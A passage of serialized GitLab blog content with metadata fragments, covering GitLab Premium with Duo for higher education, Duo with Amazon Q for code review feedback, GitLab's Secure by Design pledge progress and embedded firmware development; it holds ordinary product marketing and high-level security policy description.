research findings and faculty evaluations.\n\nMost institutions face these challenges with limited IT resources, yet must support thousands of concurrent users across numerous projects and research initiatives. Research integrity requirements add another layer of complexity, as development work often needs to maintain traceability and reproducibility standards.\n\n## Premium solutions for educational institutions\n\nGitLab Premium with Duo has the functionality that higher education needs.\n\n### Enhanced collaboration and workflow capabilities\n\nCross-departmental projects are common in educational settings – from multi-department research initiatives to custom module development for systems like Ellucian Banner, an enterprise resource planning application used by higher education. These complex projects require sophisticated workflow management that goes beyond basic version control. \n\nGitLab Premium addresses these challenges with powerful collaboration and project visualization features, including epics, roadmaps, and advanced Kanban boards for Agile development workflows. When you assign multiple approvers to certain merge requests and protected branches, you ensure higher code quality and accountability across teams. These tools allow institutions to coordinate work across departments while aligning with institution-wide objectives – essential for managing multiphase campus technology initiatives.\n\nIn Australia, [Deakin University’s](https://about.gitlab.com/customers/deakin-university/) enablement team uses GitLab to build standardized processes and reusable templates — such as custom merge request templates, templated build pipelines, and a security and compliance framework — that can be shared with the broader university community and citizen developers, driving innovation and collaboration both inside the university and with key partners. “We were trying to bring in a community of practice and help it thrive for quite some time, but we were never successful until we had this tool,” said Aaron Whitehand, director of Digital Enablement at Deakin University.\n\n> #### Read more about [how Deakin University uses GitLab to drive improvements](https://about.gitlab.com/customers/deakin-university/) in collaboration and productivity, including a 60% reduction in manual tasks.\n\n### Advanced data protection and governance\n\nEducational institutions generate and manage vast amounts of data, ranging from student records and financial information to research findings and faculty evaluations. The security stakes are particularly high. The [2023 MOVEit breach](https://universitybusiness.com/in-just-3-months-this-data-breach-has-compromised-nearly-900-institutions/), which spanned three months and compromised approximately 900 educational institutions, exposed the sensitive information of more than 62 million people. This demonstrates the critical need for proactive security measures integrated directly into higher education development workflows. \n\nVulnerability scanning stops code releases that contain security risks, enabling institutions to establish and enforce governance protocols that protect sensitive information. These capabilities help universities implement proper access controls and permission structures for research databases, creating a secure framework where authorized researchers maintain appropriate access – effectively balancing robust protection with necessary collaboration.\n\nGitLab is built from the ground up to secure your source code. Scalable Git-based repositories, granular access controls, and built-in compliance features eliminate bottlenecks in your workflow while meeting security requirements. GitLab Premium provides audit tracking and compliance capabilities essential for educational environments. Complete audit trails capture detailed logs of all code changes, access attempts, and system modifications with timestamps and user attribution. Full change management documentation ensures traceability of who made what changes, when, and why – critical for research integrity – while access control auditing monitors repository access and permissions changes. \n\n### Cloud-based development environments and remote collaboration\n\nModern educational institutions require flexible development environments that support distributed teams, remote learning scenarios, and diverse technical requirements. GitLab Premium provides:\n\n* **[GitLab Workspaces](https://docs.gitlab.com/user/workspace/):** Cloud-based development environments accessible from any device  \n* **[Web IDE integration](https://docs.gitlab.com/user/project/web_ide/):** Browser-based coding with full GitLab feature integration  \n* **[Container-based development](https://about.gitlab.com/blog/build-and-run-containers-in-remote-development-workspaces/):** Consistent, reproducible development environments across different projects and user groups\n\nThese capabilities are particularly valuable for supporting remote and hybrid learning models, enabling students and researchers to access standardized development environments regardless of their physical location or local hardware constraints.\n\n### Professional support for critical systems\n\nSmall IT teams in educational settings often support large, complex infrastructure with minimal resources. Reaching out to user forums for answers doesn't always mean you'll get an accurate reply and isn't efficient for large teams. GitLab Premium includes dedicated professional support, providing faster issue resolution and upgrade assistance during critical periods like class enrollment or research deadlines.\n\nThis minimizes downtime for critical services and ensures continuity of operations during peak usage periods, giving stretched IT departments the enterprise-grade reliability they need for essential academic systems.\n\n### Built on open source with enterprise capabilities\n\nOpen source software is developed collaboratively in a public manner, with source code freely available for anyone to view, modify, and distribute. This development model fosters innovation through community contributions and ensures transparency in how software functions. GitLab's open source foundation resonates strongly with educational institutions' values around collaboration, transparency, and community contribution. GitLab Premium features extend this foundation with enterprise-grade capabilities while maintaining the ability to contribute back to the open source ecosystem.\n\nKey open source advantages include:\n\n* **Transparency:** Complete visibility into platform capabilities and security measures – you can examine exactly how the software works  \n* **Community contribution:** Ability to contribute improvements back to the broader community and benefit from global developer expertise  \n* **Vendor independence:** Reduced lock-in risk with open source alternatives and the freedom to modify code as needed  \n* **Co-creation opportunities:** Collaborative development with the broader community, including other educational institutions, to build shared solutions\n\n### AI assistant for software development tasks\n\nGitLab Premium with [Duo](https://about.gitlab.com/gitlab-duo/) brings powerful AI-native capabilities directly into the development workflow, including:  \n* [**Code Suggestions**](https://docs.gitlab.com/user/project/repository/code_suggestions/), which provides real-time code completion and suggestions, helping developers write code faster and more efficiently  \n* [**Chat**](https://docs.gitlab.com/user/gitlab_duo_chat/), which allows team members to get instant answers to questions, troubleshoot issues, and access documentation directly within the GitLab environment\n\nThese AI tools significantly enhance productivity, reduce errors, and streamline collaboration, making GitLab Premium an even more valuable asset for software development teams in higher education.\n\n### Transparency at the core\n\nHigher education institutions handle incredibly sensitive data — from student records and research findings to proprietary academic work and federal grant information. \n\nThe [GitLab AI Transparency Center ](https://about.gitlab.com/ai-transparency-center/)demonstrates our commitment to transparency, accountability, and protection of customer data and intellectual property, providing the privacy guarantees that educational institutions require.\n\nGitLab launched the AI Transparency Center to help customers, community, and team members better understand how GitLab upholds ethics and transparency in our AI-powered features. \n\nOur publicly available documentation highlights the comprehensive measures we take to protect your institution's data and intellectual property. [GitLab's AI Ethics Principles for Product Development](https://handbook.gitlab.com/handbook/legal/ethics-compliance-program/ai-ethics-principles/) guide us as we continue to build and evolve our AI functionality, helping higher education organizations harness the promise of AI while maintaining complete control and oversight of their most valuable information assets.\n\n## Get started with GitLab Premium today\n\nFor educational institutions, GitLab Premium with Duo represents a strategic technical investment that combines the benefits of open source development with enterprise-grade, AI-native capabilities. By providing professional-grade tools ready for the challenges familiar to the complex technical environment of higher education, GitLab Premium with Duo helps institutions address security vulnerabilities, streamline development workflows, and maintain the reliable infrastructure that academic and research operations depend on.\n\n> [Learn more about GitLab for Public Sector](https://about.gitlab.com/solutions/public-sector/) or  [speak to our sales team today](https://about.gitlab.com/sales/).\n\n## Read more\n\n- [Unlocking AI for every GitLab Premium and Ultimate customer](https://about.gitlab.com/blog/gitlab-premium-with-duo/)\n- [GitLab Duo Code Suggestions](https://docs.gitlab.com/user/project/repository/code_suggestions/)\n- [GitLab Duo Chat](https://docs.gitlab.com/user/gitlab_duo_chat/)",[550,479,695,754,185],{"slug":1191,"featured":92,"template":678},"ai-native-gitlab-premium-transform-higher-education-software-development","content:en-us:blog:ai-native-gitlab-premium-transform-higher-education-software-development.yml","Ai Native Gitlab Premium Transform Higher Education Software Development","en-us/blog/ai-native-gitlab-premium-transform-higher-education-software-development.yml","en-us/blog/ai-native-gitlab-premium-transform-higher-education-software-development",{"_path":1197,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1198,"content":1203,"config":1208,"_id":1210,"_type":16,"title":1211,"_source":17,"_file":1212,"_stem":1213,"_extension":20},"/en-us/blog/speed-up-code-reviews-let-ai-handle-the-feedback-implementation",{"title":1199,"description":1200,"ogTitle":1199,"ogDescription":1200,"noIndex":6,"ogImage":938,"ogUrl":1201,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1201,"schema":1202},"Speed up code reviews: Let AI handle the feedback implementation","Discover how GitLab Duo with Amazon Q automates the implementation of code review feedback through AI, transforming a time-consuming manual process into a streamlined workflow.","https://about.gitlab.com/blog/speed-up-code-reviews-let-ai-handle-the-feedback-implementation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Speed up code reviews: Let AI handle the feedback implementation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2025-06-10\",\n      }",{"title":1199,"description":1200,"authors":1204,"heroImage":938,"date":1187,"body":1205,"category":791,"tags":1206},[937],"You know that feeling when you've just submitted a merge request and the code review comments start rolling in? One reviewer wants the labels updated, another asks for side-by-side layouts, someone else requests bold formatting, and don't forget about that button color change. Before you know it, you're spending hours implementing feedback that, while important, takes you away from building new features. It's a time-consuming process that every developer faces, yet it feels like there should be a better way.\n\nWhat if you could have an AI assistant that understands code review feedback and automatically implements the changes for you? That's exactly what [GitLab Duo with Amazon Q](https://about.gitlab.com/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/) brings to your development workflow. This seamless integration combines GitLab's comprehensive DevSecOps platform with Amazon Q's advanced AI capabilities, creating an intelligent assistant that can read reviewer comments and converts them directly into code changes. Instead of manually addressing each piece of feedback, you can let AI handle the implementation while you focus on the bigger picture.\n\n## How GitLab Duo with Amazon Q works\n\nWhen you're viewing a merge request with reviewer comments, you'll see feedback scattered throughout your code. Let's take the examples from earlier in this article: maybe you've received a request to update a form label here, a suggestion to display fields side-by-side there, or a note about making certain text bold. Each comment represents a task that normally you'd need to handle manually.\n\n![feedback on an MR](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673634/Blog/Content%20Images/1-show-comment.png)\n\nWith GitLab Duo with Amazon Q, you can simply enter the `/q dev` quick action in a comment. This prompts Amazon Q to analyze all the feedback and start modifying your code automatically. The AI agent understands the context of each comment and implements the requested changes directly in your codebase.\n\n![/q dev function prompting Amazon Q to analyze feedback](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673634/Blog/Content%20Images/2-invoke-q-dev.png)\n\nOnce Amazon Q processes the feedback, you can view all the updates in the \"Changes\" tab of your merge request. Every modification is clearly visible, so you can verify that the AI agent correctly interpreted and implemented each piece of feedback. You can then run your updated application to confirm that all the changes work as expected — that form label is updated, the fields are displayed side-by-side, the text is bold, and yes, that button is now blue.\n\nWatch the code review feedback process in action:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/31E9X9BrK5s?si=ThFywR34V3Bfj1Z-\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nProcessing code review feedback is a necessary but time-intensive part of software development.  GitLab Duo with Amazon Q evolves this manual process into an automated workflow, dramatically reducing the time between receiving feedback and implementing changes. By letting AI handle these routine modifications, you're free to focus on what really matters — building innovative features and solving complex problems.\n\nWith GitLab Duo with Amazon Q, you can:\n- Eliminate hours of manual feedback implementation\n- Accelerate your code review cycles\n- Maintain consistency in how feedback is addressed\n- Reduce context switching between reviewing comments and writing code\n- Ship features faster with streamlined deployment times\n\n> #### To learn more about GitLab Duo with Amazon Q visit us at an upcoming [AWS Summit in a city near you](https://about.gitlab.com/events/aws-summits/) or [reach out to your GitLab representative](https://about.gitlab.com/partners/technology-partners/aws/#form).\n\n## GitLab Duo with Amazon Q resources\n\n- [GitLab Duo with Amazon Q: Agentic AI optimized for AWS generally available](https://about.gitlab.com/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/)\n- [GitLab and AWS partner page](https://about.gitlab.com/partners/technology-partners/aws/)\n- [GitLab Duo with Amazon Q documentation](https://docs.gitlab.com/user/duo_amazon_q/)\n- [What is agentic AI?](https://about.gitlab.com/topics/agentic-ai/)\n- [Agentic AI guides and resources](https://about.gitlab.com/blog/agentic-ai-guides-and-resources/)",[695,754,479,944,1207,696],"code review",{"slug":1209,"featured":92,"template":678},"speed-up-code-reviews-let-ai-handle-the-feedback-implementation","content:en-us:blog:speed-up-code-reviews-let-ai-handle-the-feedback-implementation.yml","Speed Up Code Reviews Let Ai Handle The Feedback Implementation","en-us/blog/speed-up-code-reviews-let-ai-handle-the-feedback-implementation.yml","en-us/blog/speed-up-code-reviews-let-ai-handle-the-feedback-implementation",{"_path":1215,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1216,"content":1222,"config":1228,"_id":1230,"_type":16,"title":1231,"_source":17,"_file":1232,"_stem":1233,"_extension":20},"/en-us/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress",{"title":1217,"description":1218,"ogTitle":1217,"ogDescription":1218,"noIndex":6,"ogImage":1219,"ogUrl":1220,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1220,"schema":1221},"Last year we signed the Secure by Design pledge - here's our progress","Learn about GitLab's CISA-aligned additions and improvements around MFA, default password reduction, patching, and vulnerability disclosure.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659684/Blog/Hero%20Images/AdobeStock_479904468__1_.jpg","https://about.gitlab.com/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Last year we signed the Secure by Design pledge - here's our progress\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joseph Longo\"}],\n        \"datePublished\": \"2025-06-09\",\n      }",{"title":1217,"description":1218,"authors":1223,"heroImage":1219,"date":1225,"body":1226,"category":674,"tags":1227},[1224],"Joseph Longo","2025-06-09","A little over a year go, GitLab signed [CISA’s Secure by Design Pledge](https://about.gitlab.com/blog/secure-by-design-principles-meet-devsecops-innovation-in-gitlab-17/), a directive for technology providers to embed security at the heart of their products from the outset of development. Since then, we've made significant progress towards improving our security posture and creating a more secure ecosystem for our customers to develop secure software faster.\n\n## Meeting the security goals\n\nLet’s explore the additions and improvements we've made to further enhance security across the development lifecycle.\n\n### Multi-factor authentication (MFA)\n\n***Goal: Within one year of signing the pledge, demonstrate actions taken to measurably increase the use of multi-factor authentication across the manufacturer’s products.***\n\nGitLab currently offers multiple [MFA](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html) options for users to secure their accounts. We also offer SSO functionality to enable [GitLab.com](https://docs.gitlab.com/ee/user/group/saml_sso/), [Self-Managed](https://docs.gitlab.com/integration/saml/), and [GitLab Dedicated](https://docs.gitlab.com/integration/saml/) customers to streamline their authentication processes and their internal MFA requirements.\n\nTo further enhance the platform’s resilience, and to create a more secure foundation for our customers, GitLab is executing a phased MFA by Default rollout.\n\nIn the coming months, we will deploy changes requiring all customers to enable MFA on their accounts. \n\nFor customers who already have MFA enabled or authenticate to GitLab via their organization’s single sign-on (SSO) method, there will be no necessary changes. For customers who do not already have MFA enabled and are not authenticating to GitLab via their organization’s SSO method, they will be required to enable MFA and enroll in one or more of the available MFA methods.\n\nThe MFA rollout will occur in stages to ensure a smooth and consistent adoption across all customers. More details on GitLab’s MFA by Default rollout will be shared in the near future.\n\n### Default passwords\n\n***Goal: Within one year of signing the pledge, demonstrate measurable progress towards reducing default passwords across the manufacturers’ products.***\n\nTo reduce the use of default passwords, GitLab uses randomly generated root passwords for its multiple installation methods. GitLab’s multi-method [installation instructions](https://docs.gitlab.com/ee/install/install_methods.html) also include guidance on how to change the randomly generated root password for each installation.\n\nFor some install methods, such as installing GitLab in a Docker container, the password file with the initial root password is deleted in the first container restart after 24 hours to help further harden the GitLab instance.\n\n### Reducing entire classes of vulnerabilities\n\n***Goal: Within one year of signing the pledge, demonstrate actions taken towards enabling a significant measurable reduction in the prevalence of one or more vulnerability classes across the manufacturer’s products.***\n\nGitLab has published [secure coding guidelines](https://docs.gitlab.com/ee/development/secure_coding_guidelines.html#sast-coverage) to its documentation site that contains descriptions and guidelines for addressing security vulnerabilities commonly identified in the GitLab codebase. \n\nThe guidelines are “intended to help developers identify potential security vulnerabilities early, with the goal of reducing the number of vulnerabilities released over time.” \n\nGitLab continues to improve its [SAST rule coverage](https://docs.gitlab.com/development/secure_coding_guidelines#sast-coverage) to address broader sets of security vulnerabilities for itself and its customers.\n\n### Security patches\n\n***Goal: Within one year of signing the pledge, demonstrate actions taken to measurably increase the installation of security patches by customers.***\n\nGitLab handles all updates related to its GitLab.com and GitLab Dedicated service offerings. Additionally, GitLab publishes a [maintenance policy](https://docs.gitlab.com/ee/policy/maintenance.html), which outlines its approach to releasing updates, backporting, upgrade recommendations and supporting documentation, etc.\n\nGitLab’s documentation has comprehensive guidance on [how to upgrade](https://docs.gitlab.com/ee/update/?tab=Self-compiled+%28source%29#upgrade-based-on-installation-method) self-managed instances based on their deployment model. This includes Omnibus, Helm chart, Docker and self-compiled GitLab installations.\n\nGitLab also provides a detailed [upgrade plan](https://docs.gitlab.com/ee/update/plan_your_upgrade.html) to ensure proper testing and troubleshooting can be performed as well as rollback plans if necessary.\n\nDepending on the version upgrade, specific changes ([example for GitLab 17](https://docs.gitlab.com/ee/update/versions/gitlab_17_changes.html)) for each version are highlighted to ensure a smooth upgrade process and limit unavailability of services.\n\n### Vulnerability disclosure policy\n\n***Goal: Within one year of signing the pledge, publish a vulnerability disclosure policy (VDP).***\n\nGitLab maintains a strong bug bounty program through [HackerOne](https://hackerone.com/gitlab?type=team), a [security.txt](https://gitlab.com/.well-known/security.txt) file highlighting GitLab’s preferred and additional disclosure processes, and [release posts](https://about.gitlab.com/releases/categories/releases/) highlighting security fixes.\n\nCustomers and the general public can subscribe to receive GitLab’s release posts directly in their email inbox.\n\n### Common vulnerability enumerations \n\n***Goal: Within one year of signing the pledge, demonstrate transparency in vulnerability reporting***\n\nGitLab includes the Common Weakness Enumeration (CWE) field in all Common vulnerability enumerations (CVE) records it publishes. Over the past year, GitLab has iterated to also include the Common Platform Enumeration (CPE) field in CVE records.\n\nThe GitLab [CVE assignments project](https://gitlab.com/gitlab-org/cves) stores a copy of all CVE identifiers assigned and published by GitLab in its role as a CVE Numbering Authority.\n\n> Check out [GitLab’s CVE submission template](https://gitlab.com/gitlab-org/cves/-/blob/master/.gitlab/issue_templates/Internal%20GitLab%20Submission.md?ref_type=heads).\n\n### Evidence of intrusions\n\n***Goal: Within one year of signing the pledge, demonstrate a measurable increase in the ability for customers to gather evidence of cybersecurity intrusions affecting the manufacturer’s products.***\n\nGitLab has published an [incident response guide](https://docs.gitlab.com/ee/security/responding_to_security_incidents.html) to help customers respond to incidents involving GitLab instances. Additionally, GitLab has open sourced versions of its [GUARD detection-as-code](https://about.gitlab.com/blog/unveiling-the-guard-framework-to-automate-security-detections-at-gitlab/) and TLDR threat detection frameworks. The repositories for those open source frameworks can be found on [GitLab’s Open Source Security Center](https://about.gitlab.com/security/open-source-resources/).\n\nIn a similar manner, GitLab is adding functionality to its [GitLab.com](http://gitLab.com) service offering to [detect compromised passwords](https://about.gitlab.com/blog/introducing-compromised-password-detection-for-gitlab-com/) for all logins using GitLab’s native username and password authentication method.\n\n## What's next\n\n[GitLab’s Security Division’s mission](https://gitlab.com/gitlab-com/gl-security) is to enable everyone to innovate and succeed on a safe, secure, and trusted DevSecOps platform.\n\nGitLab's security enhancements over the past year have allowed us to demonstrate our commitment to CISA’s Secure by Design Pledge, and they have strengthened our platform and given customers a more reliable and secure foundation to build on. \n\nOur commitment to iteration means we're already focused on the next set of innovations that will drive us forward.\n\n> To learn more about GitLab’s security enhancements, bookmark our [security page on the GitLab Blog](https://about.gitlab.com/blog/categories/security/).\n\n## Read more  \n- [Secure by Design principles meet DevSecOps innovation in GitLab 17](https://about.gitlab.com/blog/secure-by-design-principles-meet-devsecops-innovation-in-gitlab-17/)\n- [Happy birthday, Secure by Design!](https://about.gitlab.com/blog/happy-birthday-secure-by-design/)\n- [Strengthen your cybersecurity strategy with Secure by Design](https://about.gitlab.com/the-source/security/strengthen-your-cybersecurity-strategy-with-secure-by-design/)",[943,479,674,185],{"slug":1229,"featured":92,"template":678},"last-year-we-signed-the-secure-by-design-pledge-heres-our-progress","content:en-us:blog:last-year-we-signed-the-secure-by-design-pledge-heres-our-progress.yml","Last Year We Signed The Secure By Design Pledge Heres Our Progress","en-us/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress.yml","en-us/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress",{"_path":1235,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1236,"content":1242,"config":1248,"_id":1250,"_type":16,"title":1251,"_source":17,"_file":1252,"_stem":1253,"_extension":20},"/en-us/blog/4-ways-to-accelerate-embedded-development-with-gitlab",{"title":1237,"description":1238,"ogTitle":1237,"ogDescription":1238,"noIndex":6,"ogImage":1239,"ogUrl":1240,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1240,"schema":1241},"4 ways to accelerate embedded development with GitLab","Learn how automated hardware testing, standard builds, collaborative workflows, and integrated compliance eliminate bottlenecks in firmware development.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659756/Blog/Hero%20Images/REFERENCE_-_display_preview_for_blog_images.png","https://about.gitlab.com/blog/4-ways-to-accelerate-embedded-development-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"4 ways to accelerate embedded development with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matt DeLaney\"},{\"@type\":\"Person\",\"name\":\"Darwin Sanoy\"}],\n        \"datePublished\": \"2025-06-05\",\n      }",{"title":1237,"description":1238,"authors":1243,"heroImage":1239,"date":1245,"body":1246,"category":695,"tags":1247},[958,1244],"Darwin Sanoy","2025-06-05","Software in embedded systems is no longer just a part number — it's a critical differentiator. This shift has led to enormous complexity in the firmware running in our cars, airplanes, and industrial machines. The number of lines of code in the average car is expected to reach [650 million](https://www.statista.com/statistics/1370978/automotive-software-average-lines-of-codes-per-vehicle-globally/) by the end of 2025, up from 200 million just five years ago. In aerospace systems, the complexity of embedded software has nearly [doubled every four years](https://www.mckinsey.com/industries/aerospace-and-defense/our-insights/debugging-the-software-talent-gap-in-aerospace-and-defense) for the last several decades. \n\nTraditional embedded development approaches cannot effectively handle the software challenges of modern machines. This shortcoming slows engineers down, in part, by exacerbating challenges such as: \n\n* [Hardware testing bottlenecks](#challenge-1-hardware-testing-bottlenecks) \n* [Inconsistent build environments](#challenge-2-inconsistent-build-environments)\n* [Siloed development practices](#challenge-3-siloed-development-practices)\n* [Manual functional safety compliance processes](#challenge-4-manual-functional-safety-compliance-processes)\n\nEmbedded developers need a new approach to deal with the rapid increase in code. In this article, we’ll explain four ways you can use the GitLab AI-native DevSecOps platform to shorten feedback loops, work collaboratively and iteratively, and streamline compliance.\n\n## Challenge 1: Hardware testing bottlenecks\n\nUnlike enterprise software that can run on virtually any cloud server, embedded automotive software must be tested on specialized hardware that precisely matches production environments. Traditional hardware-in-the-loop (HIL) testing processes often follow this pattern:\n\n1. Developers write code for an embedded system (e.g., an electronic control unit)  \n2. They request access to limited, expensive hardware test benches (costing $500,000-$10M each)  \n3. They wait days or weeks for their scheduled access window  \n4. They manually deploy and test their code on physical hardware at their desks  \n5. They document results, pass the hardware to the next developer, and go to the back of the hardware testing queue\n\nThis process is extremely inefficient. Embedded developers may finish writing their code today and wait weeks to test it on a hardware target. By then, they've moved on to other tasks. This context switching drains productivity. Not only that, developers may wait weeks to learn they had a simple math error in their code. \n\n### Solution: Automated hardware allocation and continuous integration\n\nYou can streamline hardware testing through automation using the [GitLab On-Premises Device Cloud](https://gitlab.com/guided-explorations/embedded/ci-components/device-cloud), a CI/CD component. This lets you automate the orchestration of scarce hardware resources, turning a manual, time-intensive process into a streamlined, continuous workflow.\n\nThe On-Premises Device Cloud:\n\n1. Creates pools of shared hardware resources  \n2. Automatically — and exclusively — allocates hardware to a developer’s hardware testing pipeline tasks based on availability  \n3. Deploys and executes tests without manual intervention  \n4. Collects and reports results through integrated pipelines  \n5. Automatically deallocates hardware back into the “available” pool\n\nAfter submitting code, you’ll receive results in hours instead of days, often without ever physically touching the test hardware.\n\nWhat this video for an introduction to the GitLab On-Premises Device Cloud CI/CD Component to orchestrate the remote allocation of shared hardware for HIL:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/ltr2CIM9Zag?si=NOij3t1YYz4zKajC\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nYou can also adopt multi-pronged testing strategies that balance speed and quality. Bring the following embedded test patterns and environments into automated GitLab CI pipelines:\n\n* **Software-in-the-loop (SIL):** Testing on virtual hardware simulators for quicker initial feedback  \n* **Processor-in-the-loop (PIL):** Testing on representative processor hardware for faster feedback at a lower cost  \n* **Hardware-in-the-loop (HIL):** Testing on full production-equivalent hardware and test benches for late-stage verification\n\nBy automating the orchestration of these tests within CI pipelines, you’ll be able to identify issues earlier, iterate faster, and accelerate time to market.\n\n## Challenge 2: Inconsistent build environments\n\nAnother significant challenge in embedded development is build environment inconsistency. Embedded developers often manually execute builds on their local machines with varying configurations, compiler versions, and dependencies. Then they’ll paste the binaries from their local build to a shared codebase.\n\nThis approach creates several problems:\n\n* **Inconsistent outputs:** Builds for the same source code produce different results on different machines  \n* **\"Works on my machine\" syndrome:** Code that builds locally fails in shared environments  \n* **Poor traceability:** Limited audit trail of who built what and when  \n* **Knowledge silos:** Build expertise becomes concentrated in a few individuals\n\nThis approach can lead to errors, bottlenecks, and costly delays. \n\n### Solution: Standardized build automation\n\nYou can address these challenges by implementing standardized build automation within CI/CD pipelines in GitLab. This approach creates consistent, repeatable, container-based build environments that eliminate machine-specific variations. Through the use of special Embedded Gateway Runner provisioning scripts, containers can interface with hardware for flashing and port monitoring for automated testing.\n\nKey elements of this solution include:\n\n* **Lifecycle managed environments:** Define complex embedded simulation environments as code; automatically deploy environments for testing and destroy them afterward  \n* **Containerization:** Use Docker containers to ensure identical build environments  \n* **Automated dependency management:** Control and version all dependencies  \n* **Central build execution:** Run builds on shared infrastructure rather than local machines\n\n> Follow this tutorial to learn [how to automate embedded software builds within a GitLab CI pipeline](https://gitlab.com/guided-explorations/embedded/workshops/embedded-devops-workshop-refactoring-to-ci/-/blob/main/TUTORIAL2.md%20).\n\nBy standardizing and automating the build process, you can ensure that every build follows the same steps with the same dependencies, producing consistent outputs regardless of who initiated it. This not only improves quality but also democratizes the build process, enabling more team members to participate without specialized knowledge.\n\n## Challenge 3: Siloed development practices\n\nEnterprise development teams have widely adopted collaborative practices such as DevOps, underpinned by shared source code management (SCM) and continuous integration/continuous delivery (CI/CD) systems. Embedded developers, on the other hand, have historically worked alone at their desks. There are valid technical reasons for this. \n\nFor example, consider hardware virtualization, which is a key enabler of DevOps automation. The industry has been slower to virtualize the massive range of specialized processors and boards used in embedded systems. This is due in large part to the difficulties of virtualizing production real-time systems and the associated lack of economic incentives. Compare that to cloud virtualization which has been commoditized and benefited enterprise SaaS development for over a decade.\n\nMany providers are now embracing virtualization-first for the sake of speeding up embedded development. If teams fail to adopt virtual testing options, however, their silos will remain and negatively impact the business through: \n\n* **Knowledge fragmentation**: Critical insights remain scattered across individuals and teams  \n* **Redundant development**: Multiple teams solve identical problems, creating inconsistencies  \n* **Late-stage discovery during big-bang integrations**: Problems are found late in the process when multiple developers integrate their code at once, when errors are more costly to fix  \n* **Stifled innovation**: Solutions from one domain rarely influence others, hampering the development of new product ideas\n\n### Solution: Collaborative engineering through a unified platform\n\nAn important step in breaking down these silos is to standardize embedded development around GitLab’s unified DevSecOps platform. In this regard, GitLab is aligned with the shift of embedded systems toward more consolidated, shared platforms on embedded devices. GitLab enables:\n\n* **Shared visibility:** Make all code, Issues, and documentation visible across teams  \n* **Collaborative workflows:** Enable peer review and knowledge sharing through merge requests  \n* **Centralized knowledge:** Maintain a single source of truth for all development artifacts  \n* **Asynchronous collaboration:** Allow teams to work together across different locations and time zones\n\nHuman-AI agent collaboration is a fundamental ingredient to fueling the customer-facing innovations that digital natives and established embedded brands desire. GitLab enables human-AI collaboration as well. By creating transparency across the development lifecycle, GitLab changes embedded development from an isolated activity to a collaborative practice. Engineers can see each other's work in progress, learn from collective experiences, and build upon shared solutions.\n\nWatch this presentation from Embedded World Germany 2025, which explains the power of embedded developers collaborating and sharing “work in progress”. The demo portion from 24:42 to 36:51 shows how to integrate HIL into a GitLab CI pipeline and enable collaborative development.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/F_rlOyq0hzc?si=eF4alDY6HK98uZPj\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nPerhaps most importantly, by achieving greater collaboration through DevSecOps, teams can unlock embedded systems innovations that would otherwise remain hidden. Indeed, collaboration fuels innovation. [One study](https://www.sciencedirect.com/science/article/abs/pii/S0749597800928887), for example, found that group brainstorming, when properly structured, can lead to more innovative and creative outcomes than individuals working alone. Collaborative development is crucial in the race to develop software-defined products. \n\n## Challenge 4: Manual functional safety compliance processes\n\nEmbedded systems in the automotive and aerospace industries must comply with rigorous functional safety standards, including ISO 26262, MISRA C/C++, DO-178C, and DO-254. Traditional compliance approaches involve manual reviews, extensive documentation, and separate verification activities that occur late in the development cycle. This often creates security review bottlenecks. When specialized embedded security and code quality scanners detect vulnerabilities in a developer’s code, the scan issue gets added to a pile of other issues that haven’t been resolved. Developers can’t integrate their code, and security personnel need to wade through a backlog of code violations. This creates delays and makes compliance more difficult. \n\nSome of the challenges can best be summed up as: \n\n* **Late-stage compliance issues**: Problems discovered after development is complete  \n* **Documentation burden**: Extensive manual effort to create and maintain compliance evidence  \n* **Process bottlenecks**: Serial compliance activities that block development progress  \n* **Expertise dependence**: Reliance on limited specialists for compliance activities\n\nAs a result, teams often need to choose between velocity and compliance — a precarious trade-off in safety-critical systems.\n\n### Solution: Automated functional safety compliance workflow building blocks\n\nRather than treating security and compliance as post-development verification activities, you can codify compliance requirements and enforce them automatically through [customizable frameworks in GitLab](https://about.gitlab.com/blog/introducing-custom-compliance-frameworks-in-gitlab/). To do this for functional safety standards, in particular, you can integrate GitLab with specialized embedded tools, which provide the depth of firmware scanning required by functional safety standards. Meanwhile, GitLab provides automated compliance checks, full audit trails, and merge request gating — all features needed to support a robust continuous compliance program. \n\nThis integrated approach includes:\n\n* **Compliance-as-code:** Define compliance requirements as automated checks  \n* **Integrated specialized tools:** Connect tools like CodeSonar into the DevSecOps platform for automotive-specific compliance  \n* **Continuous compliance verification:** Verify requirements throughout development  \n* **Automated evidence collection:** Gather compliance artifacts as a by-product of development\n\nWatch this 